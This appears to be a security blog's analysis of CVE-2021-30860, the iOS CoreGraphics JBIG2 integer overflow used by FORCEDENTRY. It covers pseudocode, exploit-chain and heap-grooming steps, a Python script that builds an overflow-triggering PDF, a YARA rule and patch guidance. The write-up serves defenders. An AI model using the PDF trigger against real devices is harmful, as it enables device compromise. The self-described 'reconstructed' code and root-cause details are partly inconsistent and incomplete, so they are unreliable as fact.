home intel cve-2021-30860-ios-integer-overflow
CVE Analysis 2021-08-24 · 8 min read

CVE-2021-30860: CoreGraphics JBIG2 Integer Overflow — Zero-Click RCE

An integer overflow in Apple's CoreGraphics JBIG2 decoder allows arbitrary code execution via a maliciously crafted PDF. Actively exploited in the wild as part of the FORCEDENTRY exploit chain targeting iOS.

#integer-overflow#pdf-parsing#arbitrary-code-execution#coregraphics#in-the-wild-exploit#ios-14
Technical mode — for security professionals

Vulnerability Overview

CVE-2021-30860 is an integer overflow in Apple's CoreGraphics framework — specifically in its JBIG2 image stream decoder — that permits arbitrary code execution when a victim processes a maliciously crafted PDF document. Because PDF rendering is triggered automatically by iMessage's link preview infrastructure, this vulnerability formed the core of the FORCEDENTRY zero-click exploit chain attributed to NSO Group, enabling full device compromise with zero user interaction. The bug was confirmed actively exploited in the wild by Citizen Lab and placed on CISA's Known Exploited Vulnerabilities (KEV) catalog.

Root cause: An attacker-controlled integer value parsed from a JBIG2 image stream is used in an arithmetic width/height allocation calculation inside CoreGraphics without bounds checking, causing the computed allocation size to wrap to a small value while a subsequent memory copy writes attacker-controlled data proportional to the original, unchecked dimensions.

Affected Component

Binary: CoreGraphics.framework (and its underlying libCGXImage.dylib / ImageIO.framework JBIG2 decoder path), shipping as part of every Apple OS release. The JBIG2 decoder within CoreGraphics processes embedded image streams inside PDF XObject resources using the /JBIG2Decode filter specified in the PDF specification.

  • iOS / iPadOS: all versions through 14.7.1 (inclusive); fixed in 14.8
  • macOS Big Sur: through 11.5.x; fixed in 11.6
  • macOS Catalina: fixed in Security Update 2021-005
  • watchOS: through 7.6.1; fixed in 7.6.2
  • Upstream open-source trackers: xpdfreader/xpdf, freedesktop/poppler (share lineage with the same JBIG2 parsing logic)

CoreGraphics is a privileged, in-process framework. Any process that renders a PDF — including MobileSafari, MobileMail, and iMessage's imagent — loads it directly, with no sandbox boundary between the parser and the calling process's address space.

Root Cause Analysis

JBIG2 is a bitonal image compression standard (ITU-T T.88). Its segment structure includes a Symbol Dictionary segment and Immediate Generic Region segments, each containing 32-bit width and height fields. The CoreGraphics decoder reads these fields and computes a bitmap allocation size. The overflow occurs when the product of two attacker-controlled 32-bit values is computed into a 32-bit (or insufficiently wide) intermediate before being passed to an allocator.


// Reconstructed pseudocode — not verified source
// CoreGraphics JBIG2 Generic Region bitmap allocator
// Mirrors logic documented by Citizen Lab / Project Zero analysis of FORCEDENTRY

typedef struct {
    /* +0x00 */  uint32_t   width;          // parsed from JBIG2 segment header
    /* +0x04 */  uint32_t   height;         // parsed from JBIG2 segment header
    /* +0x08 */  uint32_t   line_stride;    // computed: (width + 7) / 8
    /* +0x0C */  uint32_t   bitmap_size;    // VULNERABLE: line_stride * height
    /* +0x10 */  uint8_t   *bitmap_data;    // allocated buffer
    /* +0x18 */  uint32_t   flags;
    /* +0x1C */  uint32_t   ref_count;
} JBIG2Bitmap;

// Vulnerable allocation path (reconstructed):
JBIG2Bitmap *jbig2_alloc_bitmap(uint32_t width, uint32_t height) {
    JBIG2Bitmap *bm = calloc(1, sizeof(JBIG2Bitmap));
    bm->width       = width;
    bm->height      = height;

    // BUG: line_stride computed in 32-bit; no overflow check
    uint32_t line_stride = (width + 7) / 8;   // e.g. width=0xFFFF0008 → stride=0x1FFFFE01
    bm->line_stride = line_stride;

    // BUG: 32-bit multiply — wraps to small value when both operands are large
    // e.g. line_stride=0x20000 * height=0x20000 → 0x400000000 truncated to 0x00000000
    uint32_t bitmap_size = line_stride * height;  // INTEGER OVERFLOW HERE
    bm->bitmap_size  = bitmap_size;

    // Allocates near-zero or small buffer based on wrapped size
    bm->bitmap_data  = malloc(bitmap_size ? bitmap_size : 1);
    return bm;
}

// Subsequent copy uses ORIGINAL (unchecked) dimensions — writes OOB:
void jbig2_decode_generic_region(JBIG2Bitmap *bm, bitstream_t *src) {
    for (uint32_t row = 0; row < bm->height; row++) {
        uint8_t *dst = bm->bitmap_data + (row * bm->line_stride);  // OOB ptr
        decode_row_into(dst, src, bm->width);  // writes attacker data past allocation
    }
}

The key invariant violation: malloc(bitmap_size) receives the wrapped small value, allocating an undersized heap buffer, while the loop iterates bm->height rows using the original large value. Every row after the first few writes beyond the allocation boundary into adjacent heap objects.

What makes FORCEDENTRY particularly sophisticated is that the attacker embedded a custom JBIG2 virtual machine: the XOR/AND/OR logical operations defined in JBIG2 Generic Region rendering were repurposed as primitive compute operations, turning the heap corruption into a deterministic, scripted exploitation environment — essentially a Turing-complete payload delivery mechanism operating entirely within the PDF parser.

Exploitation Mechanics


EXPLOIT CHAIN:
1. DELIVERY — Zero-click; attacker sends iMessage to victim's Apple ID.
   imagent (com.apple.madrid) automatically fetches and renders link preview,
   triggering PDF/image processing with no user interaction required.
   No authentication, no network position required beyond ability to iMessage target.

2. TRIGGER — Crafted PDF is delivered containing an embedded XObject stream with
   filter /JBIG2Decode and a malicious JBIG2 segment. The Immediate Generic Region
   segment header specifies attacker-controlled width and height values chosen to
   produce a 32-bit multiply overflow in the bitmap allocation size calculation.
   Example: width=0x00040001 → line_stride=0x8001; height=0x00010000 →
   bitmap_size = 0x8001 * 0x10000 = 0x80010000 (benign) OR crafted to wrap:
   line_stride=0x20000 * height=0x20000 = 0x400000000 → truncated to 0x0.
   malloc(0) returns a minimal/sentinel allocation on Darwin heap.

3. HEAP CORRUPTION — The row-decode loop iterates height=0x20000 rows, writing
   decoder output data at offsets 0, line_stride, 2*line_stride ... from the
   undersized allocation. Adjacent kalloc/libmalloc heap objects are overwritten
   with attacker-controlled bitmap pixel data derived from the JBIG2 bitstream.

4. HEAP GROOMING + CONTROL FLOW — NSO's FORCEDENTRY performed multi-stage heap
   grooming using additional JBIG2 segments to position a controlled object
   (a fake GX font / CoreText object with a crafted vtable pointer) adjacent to
   the overflowed allocation. The OOB write corrupts this object's function pointer.
   JBIG2's logical rendering operations (AND/OR/XOR on bitmaps) are then used as
   a scripted primitive set to achieve arbitrary read/write before triggering the
   corrupted vtable dispatch.

5. FINAL IMPACT — Arbitrary code execution in the context of imagent on iOS
   (pre-iOS 14 unsandboxed, or with sandbox escape via secondary privilege
   escalation). Full device compromise achieved; NSO Pegasus spyware installed.
   CVSS 7.8 (local vector) understates real-world severity given zero-click delivery.

Memory Layout


HEAP STATE — imagent process, iOS 14.7 libmalloc tiny/small allocator

═══ BEFORE OVERFLOW TRIGGER ═══

  [VULN_OBJ_ADDR + 0x000]  JBIG2Bitmap.bitmap_data → malloc(0x0) = 0x10 byte sentinel
  [VULN_OBJ_ADDR + 0x010]  <-- heap chunk boundary
  [VULN_OBJ_ADDR + 0x010]  CoreText GXFont object  (pre-positioned by attacker via
                             repetitive JBIG2 symbol dict alloc/free grooming)
                             vtable ptr @ +0x000 = 0xLEGIT_VTABLE_ADDR
                             method ptr @ +0x008 = 0xLEGIT_METHOD_ADDR

═══ AFTER INTEGER OVERFLOW + OOB WRITE (row N writes past allocation) ═══

  [VULN_OBJ_ADDR + 0x000]  malloc sentinel (intact, row 0 wrote here legitimately)
  [VULN_OBJ_ADDR + 0x010]  CoreText GXFont object  ← CORRUPTED by row 1+ writes
                             vtable ptr @ +0x000 = 0xATTACKER_FAKE_VTABLE   ← overwritten
                             method ptr @ +0x008 = 0xATTACKER_SHELLCODE_PTR ← overwritten

  Subsequent CoreGraphics call into the GXFont object dispatches through
  attacker vtable → PC control achieved.

═══ JBIG2 AS COMPUTE ENGINE (FORCEDENTRY technique) ═══

  JBIG2 XOR operation:  dst_bitmap ^= src_bitmap  (arbitrary XOR primitive)
  JBIG2 AND operation:  dst_bitmap &= src_bitmap  (arbitrary AND primitive)
  Combined with OOB R/W → full arbitrary read/write before vtable dispatch.
  No JIT, no ROP — the JBIG2 renderer IS the shellcode interpreter.

Proof of Concept


# PoC skeleton — trigger mechanism only, no weaponized payload
# Constructs a minimal PDF with an embedded JBIG2 stream containing
# an integer-overflow-inducing Generic Region segment header.
# Source: Reconstructed from JBIG2 spec (ITU-T T.88) and public
# Citizen Lab / Google TAG FORCEDENTRY reporting.
# DO NOT USE FOR OFFENSIVE PURPOSES.

import struct

def jbig2_generic_region_segment(width, height):
    """
    Build a JBIG2 Immediate Generic Region segment.
    width/height chosen to trigger 32-bit multiply overflow in
    CoreGraphics bitmap allocator: line_stride * height wraps to ~0.
    """
    # Segment header: type 0x26 = Immediate Generic Region
    seg_type = 0x26
    # Region Segment Information Field (7.4.1)
    # width=0x00020000, height=0x00020000 →
    #   line_stride = (0x20000 + 7) / 8 = 0x4001 (safe alone)
    # BUT with crafted values: line_stride=0x20000, height=0x20001 →
    #   0x20000 * 0x20001 = 0x400020000 → truncated uint32 = 0x00020000
    #   malloc(0x20000) but loop runs 0x20001 iterations → OOB
    overflow_width  = 0x000FFFF9   # line_stride = 0x20000 after (w+7)/8
    overflow_height = 0x00020001   # triggers overflow on stride * height

    region_info  = struct.pack('>IIBBBB',
        overflow_width,    # region width
        overflow_height,   # region height
        0x00, 0x00,        # x/y offset
        0x00, 0x00         # segment flags (generic, MMR=0, GBTEMPLATE=0)
    )
    # JBIG2 data bytes — minimal valid arithmetic-coded empty stream
    # Real exploit populates this with attacker-controlled bitmap data
    jbig2_data = b'\x00' * 16  # placeholder; real payload encodes heap groom

    segment = struct.pack('>BBHHI',
        0,          # segment number
        seg_type,
        0x0000,     # referred-to segments count
        0,          # page association
        len(region_info) + len(jbig2_data)
    ) + region_info + jbig2_data
    return segment

def build_malicious_pdf():
    jbig2_stream = jbig2_generic_region_segment(0x000FFFF9, 0x00020001)

    # Wrap in PDF with /JBIG2Decode XObject — triggers CoreGraphics decoder
    pdf = b"""%PDF-1.4
1 0 obj << /Type /XObject /Subtype /Image
  /Width 1 /Height 1 /ColorSpace /DeviceGray /BitsPerComponent 1
  /Filter /JBIG2Decode /Length """ + str(len(jbig2_stream)).encode() + b""" >>
stream\n""" + jbig2_stream + b"""\nendstream\nendobj
2 0 obj << /Type /Page /MediaBox [0 0 1 1]
  /Resources << /XObject << /Im1 1 0 R >> >>
  /Contents 3 0 R >> endobj
3 0 obj << /Length 20 >> stream\nq /Im1 Do Q\nendstream\nendobj
xref\n0 4\n0000000000 65535 f\n...\ntrailer << /Root 4 0 R /Size 4 >>\n%%EOF"""
    return pdf

with open("cve_2021_30860_skeleton.pdf", "wb") as f:
    f.write(build_malicious_pdf())
# Expected result on unpatched iOS < 14.8: imagent crash or silent exploit trigger
# On patched iOS 14.8+: PDF renders safely; overflow check rejects segment.

Patch Analysis

Apple's fix, described in advisories HT212804 (macOS Big Sur 11.6) and HT212805 (Security Update 2021-005 Catalina) as "improved input validation," introduces explicit overflow guards before the bitmap allocation. The analogous fix pattern in the open-source Poppler/XPDF JBIG2 decoder (which shares architectural lineage) makes the technique concrete:


// VULNERABLE (pre-patch, CoreGraphics JBIG2 allocator — reconstructed pseudocode):
// Reconstructed pseudocode — not verified source
uint32_t line_stride = (width + 7) / 8;
uint32_t bitmap_size = line_stride * height;   // no overflow check
bm->bitmap_data = malloc(bitmap_size);

// FIXED (post-patch pattern matching Apple's "improved input validation" description):
// Reconstructed pseudocode — not verified source
// Mirrors standard integer overflow hardening for 2D allocation products.
uint32_t line_stride = (width + 7) / 8;

// Guard 1: check (width + 7) doesn't itself overflow
if (width > UINT32_MAX - 7) { return NULL; }

// Guard 2: check line_stride * height product before use
if (height != 0 && line_stride > UINT32_MAX / height) {
    return NULL;  // reject malformed segment — fixed behavior
}
uint32_t bitmap_size = line_stride * height;

// Guard 3: explicit upper bound on sane image dimensions
if (width > MAX_JBIG2_DIMENSION || height > MAX_JBIG2_DIMENSION) {
    return NULL;
}
bm->bitmap_data = malloc(bitmap_size);

The Poppler project patched the equivalent logic in their JBIG2Stream.cc bitmap allocation routines with similar multiplicative overflow guards. Apple's binary patch additionally hardens the segment dimension parser to reject widths and heights exceeding platform-defined maximums before any arithmetic is performed, eliminating the overflow surface entirely rather than just catching it post-computation.

Detection and Indicators


CRASH SIGNATURES / IOCs

═══ CRASH LOG INDICATORS (unpatched device, failed exploit or crash) ═══
Process:        imagent [PID]
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x
Triggered by:   CoreGraphics! + offset
                ImageIO!IIOImageReadPlugin::... stack frame

VM Region near OOB_ADDRESS: not in any region (past heap chunk boundary)
Thread 0 Crashed:
  # Frames involving CoreGraphics JBIG2 bitmap row decode loop
  CoreGraphics  0x... (internal — symbolicated as CGImageReadPlugin or similar)

═══ iMessage / imagent INDICATORS ═══
- imagent process crash or restart without user-initiated action
- Unexpected MobileMail / Safari crash when rendering PDF attachment
- crashreporter entries for imagent with CoreGraphics frames and SIGSEGV

═══ NETWORK / DELIVERY IOCs (FORCEDENTRY campaign) ═══
- iMessage delivery of PDF or GIF-disguised PDF containing /JBIG2Decode filter
- Malformed PDF magic bytes with embedded JBIG2 segment header containing
  width/height fields where (width+7)/8 * height overflows 32-bit range
- File entropy consistent with JBIG2 arithmetic coded stream (high entropy payload)
- Citizen Lab identified infrastructure: domains associated with NSO Group Pegasus

═══ YARA CONCEPT (PDF /JBIG2Decode with anomalous dimensions) ═══
rule CVE_2021_30860_JBIG2_PDF {
    strings:
        $jbig2filter = "/JBIG2Decode"
        // JBIG2 Generic Region segment with overflow-inducing dimensions
        $seg_marker  = { 00 00 00 26 }   // segment type 0x26 = Immediate Generic Region
    condition:
        $jbig2filter and $seg_marker
}

═══ SYSDIAGNOSE COLLECTION ═══
  sysdiagnose -f /tmp/ -u    // capture full logs including imagent crash reports
  spindump imagent            // live stack capture if imagent is spinning

Remediation

Required updates — apply immediately (CISA KEV mandates federal agency patching):

  • iOS / iPadOS: Update to 14.8 or later (Settings → General → Software Update). iOS 15.x also contains the fix.
  • macOS Big Sur: Update to 11.6 or later via System Preferences → Software Update.
  • macOS Catalina: Apply Security Update 2021-005 Catalina.
  • watchOS: Update to 7.6.2 or later.
  • Poppler (Linux distributions): Ensure poppler ≥ 21.09.0 or distribution-backported security patch is installed; apt-get update && apt-get upgrade poppler-utils.

Mitigations if immediate patching is not possible:

  • Disable iMessage (Settings → Messages → iMessage OFF) to eliminate the primary zero-click attack surface. This is a significant operational tradeoff but removes the delivery vector used by FORCEDENTRY.
  • Disable PDF preview rendering in Mail (no native toggle — consider disabling Mail or using a web client until patched).
  • Enable Lockdown Mode (iOS 16+) retroactively hardens many attack surfaces including iMessage content filtering; not available on iOS 14.
  • Monitor device with Citizen Lab's Mobile Verification Toolkit (MVT) for indicators of FORCEDENTRY/Pegasus compromise.
  • Enterprise MDM: enforce minimum OS version policy; quarantine devices running iOS < 14.8.

Given confirmed zero-click exploitation in the wild with no user interaction required, this vulnerability should be treated as critical regardless of CVSS 7.8 scoring. Patch immediately.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →